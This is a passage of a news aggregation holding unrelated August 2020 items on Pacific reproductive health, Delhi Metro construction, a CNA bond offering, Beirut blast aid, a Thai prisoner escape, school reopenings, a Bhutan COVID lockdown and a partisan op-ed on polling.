million women a year reportedly do not give birth in a health facility, more than 45 million women receive inadequate or no antenatal care, while more than 2 million women want to avoid pregnancy but cannot use modern contraception, not to mention the many unsafe abortions taking place. The barriers to quality healthcare services are mainly lack of access, availability, affordability and acceptability, which contribute to inequalities and inequities. International Planned Parenthood Federation director of programs and operations in the Pacific Karen Hill explained that the Pacific region held some of the poorest health and social development indicators globally. Hill said the region had the highest level of unmet need for contraception in the world, with stagnant, and in some cases declining, contraceptive prevalence rates, and had shown mixed progress toward reducing adolescent birth rates and total fertility rates. [Theres] unacceptably high maternal mortality in many Pacific countries, she said in her presentation. One in four women in the Pacific wants to use modern contraception but is currently unable to do so []. She made the comments during her plenary presentation, titled SRHR in the Pacific: A Strategic Approach, during the third session of the 10th Asia Pacific Conference on Sexual Reproductive Health and Rights (APCRASRH10) virtual conference on July 20. The conference was part of a series organized by the steering committee of APCRSHR10, UNFPA and Citizen News Service (CNS). Symbolic: The Niu Vaka strategy embodies the ideas of sustainability, resourcefulness, resilience and connectedness to give people in the Pacific free choices about their sexuality and wellbeing without discrimination. (Courtesy of IPPF Pacific/-) In an effort to turn the situation around, her organization has introduced the so-called Niu Vaka Strategy to enable people to make free and informed choices about their sexual reproductive health and rights (SRHR) key to improving the health and wellbeing of individuals and families, and a significant driver of economic and social development without discrimination. Niu (coconut) trees are often referred to as the tree of life, as not part of the coconut goes to waste and they float between the islands of the Pacific, setting down roots wherever they land. As such, the coconut is considered a powerful symbol of resilience and renewal as well as connectedness. Meanwhile, vaka (canoes) used throughout history by Pacific islanders to travel vast distances between islands link the Pacific islands together, symbolizing their shared history and collective identity. Niu Vaka embodies the ideas of sustainability, resourcefulness, resilience and connectedness, Hill said. Key to the strategy, she said, was to focus on all, leaving no one behind, applying local solutions guided by evidence, working in partnership with others, embedding diversity in work and being accountable to donors, partners and the people they serve. Thanks to the strategy, she said nine Pacific island governments were now working to increasingly promote, respect, protect and fulfill commitments to SRHR and gender equality. The strategy has shown positive progress, with the total number of SRH services offered at mobile clinics rising from 89,285 in 2018 to 120,705 last year, and the number of people reached with positive SRHR messages rising from 259,438 to 872,749 during the same period. Increasing numbers of young people have also been reached with a complete series of CSE curriculum. Separately, Indonesias efforts to provide family planning services and reproductive health programs have not gone unscathed by the pandemic. The National Population and Family Planning Board (BKKBN), the authority overseeing the countrys family planning programs, found that the number of birth control program participants dropped by more than 1 million from January to April. There are currently 28 million program participants across the countrys 34 provinces. He said that based on data gathered by the BKKBN, the use of contraceptives had plummeted to 35 percent across Indonesia during the same period, which could result in an estimated 15 percent jump in unplanned pregnancies in 2021. BKKBN head Hasto Wardoyo said during a recent seminar the government had committed to revitalizing its birth control program to reduce pregnancies, so that all Indonesian citizens could live healthier. However, we have seen quite a significant decrease in public participation during the current pandemic, Hasto said. The decrease in birth control use, he said, could be attributed to limited access to reproductive health professionals, as many doctors and midwives had closed their clinics amid the pandemic. With the pandemic still in full force, choices and rights to sexual and reproductive health care must be respected regardless, according to Caroline Homer, coprogram director of maternal, child and adolescent health at Burnet Institute and visiting professor in the Faculty of Health at the University of Technology Sydney. Prioritize essential health services, adapt to changing contexts in needs. Use telehealth, digital communications, rethink how to deliver services rapidly and optimize the health workforce capacity, she said during the conferences second session. We need to fund public health and remove financial barriers to access. Monitoring of essential health services must continue. Use digital platforms to support essential health service delivery. We must pay special attention to the poorest and the most vulnerable. (ste) NEW DELHI: The Delhi Metro is all set to scale new heights in Phase 4 as its viaduct at Haiderpur Badli Mor will be the highest ever in its network. In this project, while the height of the rail level will be 28 metres, the pier supporting the viaduct will be 25 metres, the highest till date. This will be much higher than Delhi Metro's present highest position at Dhaula Kuan, where the Pink Metro Line passes at a height of 23.6 metres. The height has been necessitated as at this location, the viaduct will cross the presently operational Yellow Line viaduct. The height of the new Metro line will be more than the height of an eight-storey building. The Phase 4 platform at Haiderpur Badli Mor, which will come above the Phase 3 station, will also be the highest ever platform in Delhi Metro at a height of 23.5 metres. The Mayur Vihar Phase 1 metro station on Pink Line is at a height of 22 metres while the Karkardooma station is at a height of 20 metres. DMRC engineers are planning a detailed construction plan to execute this meticulous project. Construction of the pier and the subsequent launching of the spans will be done without impacting operations on the Yellow Line, one of Delhi Metro's busiest corridors. CCTV cameras and other monitoring equipment will be installed to keep round the clock checks on operations. A dedicated team of engineers will be employed 24x7 to monitor the progress. The 28.92 km long Janakpuri WestRK Ashram Marg corridor is an extension of Magenta Line and will come up with 22 stations. Construction work on this particular section started in December 2019. Take a look at the pics: Under Phase 4, 61.679 kilometres of new Metro lines shall be constructed across three different corridors comprising 45 metro stations. These new sections shall provide interconnectivity among the already operational sections of Delhi Metro. Out of this, 22.35 kilometres will be underground. Additional info: How much gap is needed between two Viaducts? Minimum clearance 8.5 metres from existing rail level to bottom of proposed structure. What is the approximate height of Yellow Line viaduct? At Haiderpur Badli railway X-ing: 16.50 mt. At Haiderpur Badli near existing Line 2 Station (over road): 17.95 mt. What is the exact location? At Haiderpur Badli railway X-ing At Haiderpur Badli near existing Line-2 Station (over road) Which road is there below? Railway X-ing (Delhi-Ambala Section) At Haiderpur Badli near existing Line 2 Station (over road): Outer Ring Road When it is planned to cast the pier? At Haiderpur Badli railway X-ing: March 2, 2021 proposed date for casting of pier. At Haiderpur Badli near existing Line 2 Station (over road): October 8, 2020 proposed date for casting of pier. CHICAGO, Aug. 11, 2020 /PRNewswire/ -- CNA Financial Corporation (NYSE: CNA) today announced that it has priced $500 million aggregate principal amount of 2.050% senior notes due August 15, 2030 in a public offering. The notes are being offered to the public at 99.748% of the principal amount with a yield to maturity of 2.078%. CNA expects the offering to close on August 14, 2020, subject to the satisfaction of customary closing conditions. CNA intends to use the net proceeds from the offering to repurchase, redeem, repay or otherwise retire the $400 million outstanding aggregate principal balance of its 5.750% senior notes due August 15, 2021 and any remaining net proceeds for general corporate purposes. Pending such application, CNA intends to invest the net proceeds of this offering in short term interest-bearing securities. J.P. Morgan Securities LLC, Wells Fargo Securities, LLC, BofA Securities, Inc., Citigroup Global Markets Inc., Barclays Capital Inc., U.S. Bancorp Investments, Inc., Credit Suisse Securities (USA) LLC and Goldman Sachs & Co. LLC are acting as joint book-running managers for the offering. An electronic copy of the final prospectus supplement and accompanying prospectus will be available at the Securities and Exchange Commission's website at www.sec.gov . In addition, a copy of the final prospectus supplement and accompanying prospectus relating to this offering may also be obtained, when available, from: J.P. Morgan Securities LLC, 383 Madison Avenue, New York, NY 10179, telephone (212) 834-4533; or Wells Fargo Securities, LLC, Attention: WFS Customer Service, 608 2nd Avenue South, Minneapolis, MN 55402, telephone (800) 645-3751; or BofA Securities, Inc., Attention: Prospectus Department, NC1-004-03-43, 200 North College Street, 3rd Floor, Charlotte, NC 28255-0001, telephone: 800-294-1322; or Citigroup Global Markets Inc., c/o Broadridge Financial Solutions, 1155 Long Island Avenue, Edgewood, NJ 11717, telephone (800) 831-9146. The offering is being made solely by means of a prospectus supplement and the accompanying prospectus. This press release does not constitute an offer to sell or a solicitation of an offer to purchase any securities. About CNA CNA is one of the largest U.S. commercial property and casualty insurance companies. CNA provides a broad range of standard and specialized property and casualty insurance products and services for businesses and professionals in the U.S., Canada and Europe, backed by 120 years of experience and approximately $45 billion of assets. Forward-Looking Statement This press release may include statements which relate to anticipated future events (forward-looking statements) rather than actual present conditions or historical events. These statements are made pursuant to the safe harbor provisions of the Private Securities Litigation Reform Act of 1995 and generally include words such as "believes", "expects", "intends", "anticipates", "estimates", and similar expressions. Forward-looking statements, by their nature, are subject to a variety of inherent risks and uncertainties that could cause actual results to differ materially from the results projected. Many of these risks and uncertainties cannot be controlled by CNA and include CNA's successful completion of the offering and the satisfaction of other customary conditions to the closing of the repurchase, redemption, repayment or retirement of its 5.750% senior notes due August 15, 2021. For a detailed description of these risks and uncertainties please refer to CNA's most recent 10-K and 10-Q for the quarter ended June 30, 2020 on file with the Securities and Exchange Commission. Any forward-looking statements made in this press release are made by CNA as of the date of this press release. Further, CNA does not have any obligation to update or revise any forward-looking statement contained in this press release, even if CNA's expectations or any related events, conditions or circumstances change. CONTACTS: MEDIA: ANALYSTS: Brandon Davis, 312-822-5167 Amy C. Adams, 312-822-5533 SOURCE CNA Financial Corporation Related Links http://www.cna.com On August 10, United Nations food agency chief David Beasley said he is very, very concerned about Lebanon. The nation could run out of bread in about 2 weeks because 85% of the countrys grain comes through Beiruts devastated port, but he believes an area of the port can be made operational this month. Currently, David Beasley is in Beirut and he is assessing damage and recovery prospect for the port. While talking in a virtual U.N. briefing on the humanitarian situation WHO food agency chief said we found a footprint that we can operate on a temporary basis. United Nations and the Lebanese army are working together to clear part of the site and they are airlifting lots of equipment. Read: Beirut Blast: NASA's Satellite Images Show Scale Of Destruction; Pics Inside On the ground in #Beirut: I'm here with @Caritaslb, who have been doing incredible work to provide meals for affected families. In this tent, you'll notice just how many volunteers have flooded in to help their neighbors & their community. @WFP proud to be a partner. pic.twitter.com/4ZEvAL6ua3 David Beasley (@WFPChief) August 10, 2020 Live from #Beirut: WFP has provided food parcels to 2 local communal kitchens run by @Caritaslb, who are preparing meals to victims of the blast & the volunteers cleaning up the debris. pic.twitter.com/iNAqcH4rCK WFP MENA (@WFP_MENA) August 10, 2020 Read: India Immediately Sending More Relief, Humanitarian Material To Lebanon Beasley said he had met with Cabinet ministers, who all resigned later on August 10 and told them the United Nation needs absolute cooperation now, no obstacles because people on the streets are angry and said they need international help but please make certain that the aid comes directly to the people.He also added a ship with 17,500 metric tons of wheat flour should arrive in Beirut within two weeks, and thats to put bread on the table of all the people of Lebanon and that will give us a bread supply for 20 days. According to Lebanon state media on August 10 for the first time after the blast, two ships docked at Beirut port with food grain. Commenting on Beirut, United Nations chief Antonio Guterres told United Nations member nations the voices of Lebanons angry people must be heard. WHO to send aid to Lebanon Following the recent deadly explosion in Beirut, Lebanon, the World Health Organisation has decided to send USD 1.7 million worth of protective equipment to the country in an effort to curb the COVID-19 pandemic. According to reports, Director-General Tedros Adhanom Ghebreyesus also added that in addition to protective equipment, the WHO will also be sending humanitarian aid to the country. Read: WHO To Send USD 1.7 Million Worth PPE, Humanitarian Supplies To Lebanon After Deadly Blast As per reports, Director-General Tedros Adhanom Ghebreyesus, during a press briefing on August 10, stated, "From our strategic stockpile in Dubai, WHO immediately sent surgical and major trauma supplies. We released funds from the contingency fund for emergencies. Our staff is on the ground supporting the assessment of the impact on the health sector with Lebanese and other UN partners. We are shipping USD 1.7 million worth of PPE (personal protective equipment) items to support COVID and humanitarian supplies that were destroyed by the blast." (With inputs from agencies) Read: Beirut: Police Fire Tear Gas To Disperse Protesters Blocking A Road Near Parliament To Hindus, the Ganges is Ganga Ma Mother Ganges and a center of spiritual life for more than a billion people. Every year, millions of Hindus make pilgrimages to the temples and shrines along its shores. To drink from it is auspicious. For many Hindus, life is incomplete without bathing in it at least once in their lifetime, to wash away theirs sins. Krabi murder fugitives quickly re-captured PHUKET: Three prisoners facing murder charges for gunning down a 23-year-old man in front of a mosque in March this year were quickly re-apprehended after escaping police custody while being transferred from Krabi Provincial Court yesterday (Aug 10). policecrimemurderviolence By The Phuket News Tuesday 11 August 2020, 01:30PM Sen Sgt Maj Wisut was taken to Krabi Provincial Hospital for medical treatment. Image: MCOT Police recapture one of the escapees on the street in Krabi Town yesterday (Aug 10). Image: MCOT Two of the escapees were re-apprehended at the front gate to Krabi Provincial Court in Krabi Town. The third escapee was caught in front of a convenience store about 100 metres from the court, reports state news broadcaster MCOT. The incident happened at 3pm, while Sen Sgt Maj Wisut Rattanapramot of the Krabi Town Police was transferring four prisoners from the court, said the report. The four prisoners were named as Kittipong An Senkaew, 28; Atsadawut Than Theehor; 21; Rungrote Luang Kerdkaikaew, 33; and Kamchai Not Huiluk, 26. The four face charges for shooting dead Worawit La-iad, 23, in front of a mosque in Moo 10, Tambon Huai Nam Khao, Khlong Thom, Krabi, on March 15 this year. The four have been charged with acting together to commit murder and illegal possession of a firearm and ammunition, the report noted. In explaining the prisoners escape, the report said that Kittipong used his handcuffs to hit Sen Sgt Maj Wisut on the back of the head, rendering him immobile. Kittipong then helped the other three prisoners to flee by unlocking their handcuffs and chains. However, while the other three fled, Kittipong did not attempt to escape, said the report. All four were taken back to the holding cells at Krabi Provincial Court, while Sen Sgt Maj Wisut was taken to Krabi Provincial Hospital for medical treatment, the report said. Technavio has been monitoring the EAS antennas market and it is poised to grow by USD 28.03 million during 2020-2024, progressing at a CAGR of almost 2% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200811005204/en/ Technavio has announced its latest market research report titled Global EAS Antennas Market 2020-2024 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Latest Free Sample Report on COVID-19 Impact The market is concentrated, and the degree of concentration will accelerate during the forecast period. Agon Systems Ltd., CCL Industries Inc., Century Retail Europe BV, Dialoc ID Products BV, Gunnebo Gateway AB, Hangzhou Century Co. Ltd., Hangzhou Ontime IT Co. Ltd., Johnson Controls International Plc, Mighty Cube Co. Ltd., and Nedap NV are some of the major market participants. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. Growth in the retail sector has been instrumental in driving the growth of the market. However, high implementation costs might hamper market growth. EAS Antennas Market 2020-2024: Segmentation EAS Antennas Market is segmented as below: Application Apparels And Fashion Accessories Cosmetics And Pharmaceuticals Supermarkets And Large Grocery Stores Other Retail Stores Geography North America Europe APAC MEA South America To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR44611 EAS Antennas Market 2020-2024: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our EAS antennas market report covers the following areas: EAS Antennas Market size EAS Antennas Market trends EAS Antennas Market industry analysis This study identifies the increasing investments on retail security systems as one of the prime reasons driving the EAS antennas market growth during the next few years. EAS Antennas Market 2020-2024: Vendor Analysis We provide a detailed analysis of around 25 vendors operating in the EAS antennas market, including some of the vendors such as Agon Systems Ltd., CCL Industries Inc., Century Retail Europe BV, Dialoc ID Products BV, Gunnebo Gateway AB, Hangzhou Century Co. Ltd., Hangzhou Ontime IT Co. Ltd., Johnson Controls International Plc, Mighty Cube Co. Ltd., and Nedap NV. Backed with competitive intelligence and benchmarking, our research reports on the EAS Antennas Market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform EAS Antennas Market 2020-2024: Key Highlights CAGR of the market during the forecast period 2020-2024 Detailed information on factors that will assist EAS antennas market growth during the next five years Estimation of the EAS antennas market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the EAS antennas market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of EAS antennas market vendors Table Of Contents: Executive Summary Market Landscape Market ecosystem Value chain analysis Market Sizing Market definition Market segment analysis Market size 2019 Market outlook: Forecast for 2019 2024 Five Forces Analysis Five forces summary Bargaining power of buyers Bargaining power of suppliers Threat of new entrants Threat of substitutes Threat of rivalry Market condition Market Segmentation by Application Market segments Comparison by Application Apparels and fashion accessories Market size and forecast 2019-2024 Cosmetics and pharmaceuticals Market size and forecast 2019-2024 Supermarkets and large grocery stores Market size and forecast 2019-2024 Other retail stores Market size and forecast 2019-2024 Market opportunity by Application Customer Landscape Geographic Landscape Geographic segmentation Geographic comparison North America Market size and forecast 2019-2024 Europe Market size and forecast 2019-2024 APAC Market size and forecast 2019-2024 MEA Market size and forecast 2019-2024 South America Market size and forecast 2019-2024 Key leading countries Market opportunity by geography Market Drivers Market Challenges Market Trends Vendor Landscape Vendor landscape Landscape disruption Competitive scenario Vendor Analysis Vendors covered Market positioning of vendors Agon Systems Ltd. CCL Industries Inc. Century Retail Europe BV Dialoc ID Products BV Gunnebo Gateway AB Hangzhou Century Co. Ltd. Hangzhou Ontime IT Co. Ltd. Johnson Controls International Plc Mighty Cube Co. Ltd. Nedap NV Appendix Scope of the report Currency conversion rates for US$ Research methodology List of abbreviations About Us Technavio is a leading global technology research and advisory company. Their research and analysis focuses on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200811005204/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ The Utica Community Schools Board of Education voted unanimously Tuesday night to begin the 2020-21 school year remotely, a clear sign the district isnt comfortable with how numbers in the COVID-19 pandemic are progressing. That means, for now, the two options available to UCS families will be remote learning with the ability to transition to in-person learning, or the 100% virtual learning academy. Both options will be taught by UCS teaching staff. Just last month, following Gov. Gretchen Whitmers Safe Schools Roadmap, school districts, including UCS, were preparing for a full, face-to-face learning environment, with the options of full remote learning or a hybrid combination of the two. But with most of Michigan, including Macomb County, still stuck in Phase 4, the Improving status, UCS wasnt comfortable returning to face-to-face, brick and mortar learning just yet. School district Superintendent Christine Johns said the full remote learning will, barring major improvements in the COVID-19 numbers, continue through the first marking period, which ends Oct. 30. It is possible, Johns said, that about four to five weeks after the start of the school year small groups will be able to return to school buildings, whether it be clubs or reading groups or lab-based learning. We are working with three main principals: the health and safety of our students and staff, equity and academic excellence, and the ability to implement the plan, Johns said. We had another case (of COVID-19) today. When we looked at numbers in Macomb County, we reached this decision. We will reevaluate by Oct. 30. This will be a very methodical approach. The options being offered this fall provide our families the same high-quality education that is the UCS standard based on the needs of each student, Johns added. UCS joins Van Dyke Public Schools in opening remotely, as well as the Chippewa Valley Schools, which voted Monday to begin the school year remotely. Other school districts in Macomb, including Warren Consolidated, LAnse Creuse, Eastpointe, Lakeview, Romeo and Roseville have announced they will open with a hybrid of remote and in-person learning. Several other districts have yet to announce their final plans. Both Johns and newly named interim superintendent Robert Monroe said the remote learning model at UCS will look much different than the spring, when schools were quickly forced to close due to the coronavirus pandemic. The resulting plan comes after consulting with teacher and school district teams and a parent survey. More than 100 teachers worked on committees through June and July, and the district survey included more than 14,000 respondents. All students, K-12, will have electronic devices designed to improve ease of use in the household. Communication with students and parents will be improved. Schoology will again be the main teaching platform. Teachers will be live with students, with some prerecorded material. There will be more individual interaction between students and teachers. Standard board policies for in-person learning regarding attendance and grading will be maintained. Class days will follow traditional daily school schedules and calendar. Students will receive both live instruction from a UCS teacher as well as on-line content that will allow them to move at their own pace. Johns said the defined schedule will be very important as the process transitions back to the in-person model, and relationships developed with teachers will be maintained. When in-person learning returns, students will remain with the same teachers. And socially and emotionally, we want to make sure teachers are making regular checks with their students, Monroe said. What are their needs, what are their challenges? Were very hopeful with all of these items in place, it will make for a robust learning environment for students in the fall. As for bringing in small groups to schools, Johns said its possible after about four to five weeks of instruction that could happen not only for instructional purposes but for the community bonding that comes with students being part of school groups and clubs. With 27,000 students in the district and myriad needs, all individual school situations will be looked at differently, but the clubs and reading groups would be among the first to receive consideration. Face-to-face reading groups for students who need more personal instruction would be considered, as would specialized programs like CSI (The Utica Center for Science and Industry), which requires lab-based learning. Learning will be the priority and each situation will be met with a gradual and deliberate approach. When asked what has to change to return to face-to-face learning, Johns referenced the polices of the state Safe Schools Roadmap but added that ultimate decisions are left to local school districts. She said in just the last 10 days, multiple student athletes and band members have tested positive for COVID-19 outside of the school buildings as they get ready for fall school events, despite practicing safe social distancing at school gatherings. And weve learned that outcomes can be more severe for people 40 and over, Johns said. We dont want these students getting sick and carrying it home to mom or dad or the grandparents. And what if a student gets the virus and gives it to teacher and the teacher dies. Imagine the emotional toll that would take on the student. Johns, who will retire this autumn, was asked if this pandemic is the most difficult challenge shes faced in 32 years of service in public schools. She said shes faced many other challenges, but this one is difficult because its different. This is a pandemic that no one has trained for, she said. New Delhi, Aug 11 : This Independence Day on August 15, Prime Minister Narendra Modi will address the nation from the ramparts of the Red Fort. A full dress rehearsal for the arrangement will be conducted on August 13, for which certain traffic restrictions will be imposed around the Red Fort. The Delhi Police have advised people with Covid-19 symptoms to avoid attending the I-Day event. "In the case of any invitee experiencing or having a history of any symptoms of Covid-19 in the two weeks prior to Independence Day, which are yet untested, the invitee may consider refraining from attending the event," said Joint CP Traffic (Headquarters), Narender Singh Bundela. For the full dress rehearsal, the roads that will be closed for general traffic from 4 a.m. to 10 a.m. and only labeled vehicles will be permitted are Netaji Subhash Marg from Delhi Gate to Chatta Rail, Lothian Road from GPO Delhi to Chatta Rail, S.P. Mukherjee Marg from H.C. Sen Marg to Yamuna Bazar Chowk, Chandni Chowk Road from Fountain Chowk to Red Fort, Nishad Raj Marg from Ring Road to Netaji Subhash Marg, Esplanade Road and its Link Road to Netaji Subhash Marg, Ring Road from Rajghat to ISBT, Outer Ring Road from ISBT to IP Flyover i.e. Salimgarh Bypass. Those vehicles which do not have parking labels for the rehearsal may avoid C-Hexagon India Gate, Copernics Marg, Mandi House, Sikandra Road, W Point, A point Tilak Marg, Mathura Road, BSZ Marg, Subhash Marg, J.L. Nehru Marg and Ring Road between Nizammuddin Bridge and ISBT bridge and outer ring road from IP Flyover through Salimgarh Bypass to ISBT and take the other routes. "The Geeta Colony Bridge will be closed towards Shantivan. Similarly, traffic would not be permitted on lower Ring Road from ISBT Kashmere Gate towards Shantivan and from IP flyover towards Rajghat," the Joint CP added. Also, adequate informative signages will be displayed for the guidance of vehicular traffic destined for the Red Fort at all important traffic junctions. "Goods vehicles will not be permitted between Nizamuddin Bridge and Wazirabad bridge from 12 midnight to 11 am on August 13. Also interstate buses will not be allowed during the same time between Maharana Pratap ISBT and Sarai Kale Khan ISBT," said the officer. Local city buses including DTC will not move on Ring Road from 12 midnight to 11 am on August 13 between ISBT and Ring Road - NH-24(NH-9)/NH 'T' point (Nizamuddin Khatta) and can take alternative route available. Going dark in a general sense means to cease communications or activities. This tactic can be applied to espionage, military operations, guerrilla warfare, and large segments of any population if a situation warrants it. Judging from the results of recent political polls, one could argue that a significant percentage of conservative voters and perhaps even moderates have gone dark. If you were surprised by a July 19 ABC News/Washington Post poll that had Joe Biden up over Donald Trump by 15 points nationally, a CBS News/YouGov poll from July 26 that had Biden up by 10 points, or the most recent Economist/YouGov poll that has Biden up by 9 points, chances are you were not alone. Conservative analysts would consider these polls less than accurate or deliberately juiced in some way to get a desired result. However, if you look at the Real Clear Politics 2020 list of national presidential polls, the last time Trump polled ahead of Biden was February 2020. Almost all national polls have had Biden ahead before and since. Does this mean the constant daily ad hominem attacks on President Trump by the mainstream media and Democrat politicians over the past four years has turned voters against him, or is it producing something called social desirability bias, also known as the shy Tory effect in Britain? This is the concept that people do not like to be associated with unpopular ideas, thus making them reluctant to admit to pollsters that they support the president. Social desirability bias may have been a factor in most polls getting it wrong in 2016. If you take an average of the RCP 2016 list of presidential polls from the Guardian poll in early June through the ABC News Clinton +4 poll just before the 2016 Republican Convention in mid-July, you will see that Hillary had an average lead of about 4.7 points. The actual vote was only 2.1% in her favor, meaning the average poll over this time period was wrong by roughly 2.5 percentage points. It is possible that many of the 2.5 percent were shy Trump voters. If you look at the 2020 polls over roughly the same time period, Biden is ahead by an average of 9.8 points. Why the big difference? Is Trump really that unpopular? It appears that a break point may have occurred after the George Floyd incident on May 25. If you look at the 2020 polls from the beginning of May through May 26, Biden's lead averages about 5.2 points, not very different from Hillary in 2016. After May 26, Biden's lead almost doubled. Note this Gallup poll from July 16, 2020. Between May 2020, when the George Floyd incident occurred, and June of 2020, Americans identifying as Republicans declined by five percentage points, from 44% to 39%, just about the same amount that Biden's lead increased. Was this change just temporary voter empathy with the protesters, or did five percent of Republicans permanently switch over to the Democrats? My guess is that most of them decided that it was not a good time to admit being Republican, either virtue signaling support for Black Lives Matter or going dark by lying to the pollsters. This raises another question. If the party identification switch was temporary, why have Biden's poll numbers remained higher than they were before the Floyd incident? Is some other factor at work? The reaction of many to George Floyd's death was to march in protest against the use of excessive force by the police. Unfortunately, the protests quickly became violent, ushering in the worst two and a half months of rioting and destruction seen since the Vietnam War protests or following the Martin Luther King assassination in the 1960s. There is real hate and vindictiveness out there now, combined with real threats to property and personal safety. The most compelling case that conservatives have gone dark is a recent Cato Institute poll, which found that 62% of Americans overall are afraid to express their political views. This includes 77% of conservatives but an average of 47% of liberals and strong liberals. This is an amazing statistic. Less than half of liberals are afraid to express their political views, while over three quarters of conservatives fear doing so. It is not difficult to understand why conservatives feel this way. They watch night after night as a slow-motion liberal version of Kristallnacht rolls on in many American cities. Police are attacked, businesses are looted and burned, statues are pulled down, and innocent bystanders or motorists in their cars are harassed or worse. They know that wearing a MAGA hat or shirt in the wrong neighborhood may get them attacked and beaten. They know that a Trump yard sign or bumper sticker may get their house or vehicle vandalized. They know that if they say or post the wrong thing on social media, they may be tarred as a racist, misogynist, homophobe, xenophobe, etc., and could possibly lose their job or career. The commonsense reaction to these kinds of threats is to either fight back or go dark. Fighting back in almost any way is difficult when Democrat mayors and governors are siding with the mobs or restricting the police. Going dark by not advertising your support for Trump, not participating in opinion polls, or by altering your poll answers becomes the safest alternative. There is another possibility related to the phenomenon of going dark. With fewer pro-Trump conservatives willing to participate in the polls, pollsters may be sampling a fractionally larger number of anti-Trump moderates and conservatives. In an article from June 17, the Washington Post may have noticed this trend but misinterpreted it, suggesting that Republican energy was slipping. Does this mean the left has intimidated conservative voters to the point where they have given up? Unlikely. The best analogy I can think of is this. Imagine that it is 1917, during the First World War, and you are a soldier fighting in the trenches in France. To venture into no man's land the space between the armies or to pop your head up above the top of the trench for a look-see, can have very bad consequences. Therefore, the safest place to be while the bullets are flying is in your trench with your head down. Today, the sniping is verbal, but the Molotov cocktails are real. So if you are trying to keep your head down, figuratively speaking or literally, like those World War I soldiers, remember that you are not alone. The numbers suggest a whole army of moderates and conservatives in the trenches with you, and November 3 is not that far away. Image: Tom Arthur via Wikimedia Commons. The donation is an initial aid". Catholic organisations are quick to respond. The death toll now stands at 154, including 25 who are unidentified. More than 5,000 people are wounded, 120 in very serious conditions. Some 60 people are still missing. Rescue teams are still digging in the rubble. A protest to "clean up Beirut" from political corruption is scheduled for this afternoon. Vatican City (AsiaNews) Pope Francis has sent 250,000 (US$ 295,000) euros as initial aid" to the nunciature in Beirut to meet the needs of the Lebanese Church in these moments of difficulty and suffering. The Dicastery for Promoting Integral Human Development notes that This donation is intended as a sign of His Holiness's attention and closeness to the affected population and of his fatherly closeness to people in serious difficulty. The Dicastery goes on to highlight the immediate emergency and first aid response by Catholic agencies, including Caritas Lebanon and Caritas internationalis. AsiaNews too has started its own fundraising campaign to Help devastated Beirut in collaboration with Caritas Lebanon. The Pope's donation and other funds raised will be used to to assist those affected by the terrible explosion in the port on 4 August, which has caused hundreds of deaths and hundreds of thousands of injured and displaced persons, in addition to destroying buildings, churches, monasteries, facilities and basic sanitation. At present the death toll from the blasts in the Port of Beirut has reached 154, including 25 people who have not yet been identified. Some 60 people are still missing, whilst more than 5,000 people have been wounded, with at least 120 in very serious conditions. For their part, rescue teams continue to dig in the rubble looking for signs of life, and an army of young volunteers continue to clear the streets of rubble, remove debris from houses, and comfort survivors. Meanwhile, several civil society groups have organised a protest for this afternoon to "clean up Beirut" from the political leaders considered thoroughly corrupt and responsible out of negligence or self-interest - for last Tuesdays explosions. In order to help the people of Beirut and Lebanon, as well as Caritas Lebanon, AsiaNews is launching a campaign to Help devastated Beirut. Those who want to contribute can make a donation to: PIME Foundation: - International Bank Account Number (IBAN): IT78C0306909606100000169898 - Bank Identifier Code (BIC): BCITITMM - Reason for transfer: AN04 HELP DEVASTATED BEIRUT By Gopal Sharma (Reuters) - Bhutan ordered its first nationwide lockdown on Tuesday after a returning resident tested positive for coronavirus after being discharged from quarantine and coming into close contact with people in the capital Thimphu. The case took the total in the tiny Himalayan kingdom to 113, still the lowest in South Asia, and it has yet to record a fatality. Bhutan, which is heavily reliant on high-end tourists, banned tourism in March after an American visitor tested positive for the virus, and ordered a three week mandatory quarantine for everyone returning from abroad. The lockdown was ordered after a 27-year-old Bhutanese woman, who returned from Kuwait and was discharged from quarantine after testing negative, tested positive at a clinic on Monday. "The unprecedented lockdown is enforced to identify and isolate all positive cases, immediately breaking the chain of transmission," the government said in a statement, restricting movement of people and vehicles in the largely Buddhist nation of 750,000 people. "Everyone is asked to stay home to protect themselves and their families from the disease, should there be undetected, rampant transmission," the government said. All schools, institutions, offices and commercial establishments will remain closed and exams will be postponed, while students and trainees in boarding facilities were told to remain on campus and follow COVID-19 protocols. Officials attribute the slow spread of the virus in the country to early screening and monitoring at entry points, testing and sealing of borders including the closure of the only international airport at Paro, near the capital. Flights repatriating stranded nationals are allowed. The outbreak has nevertheless crippled the tourism industry, which earned an average of $80 million in each of the last five years. Arrivals last year had risen 15% to 315,600. (This story refiles to remove extraneous word in para 4) (Reporting by Gopal Sharma in Kathmandu; Editing by Lincoln Feast.) The following months, Lawmakers asked Linick to investigate the legality of Pompeos actions. The results of the investigation were preliminarily told to the State Department in November. Pompeo, who initially said he had known nothing about the inquiry, acknowledged earlier this year that he had submitted written answers to questions after declining a face-to-face interview. Pura H&W Products Partnership allows for both companies to stake a claim in the expanding $532 billion beauty industry with the most advanced and only clinically backed CBD skin care line; Product line synergistically combines natural ingredients with CBD in advanced and proprietary formulations that have completed 3 cosmetic human clinical studies all achieving positive endpoint results, making H&W products the only cannabinoid consumer product line with human safety and efficacy data TORONTO, Aug. 11, 2020 (GLOBE NEWSWIRE) -- Red White & Bloom Brands Inc. 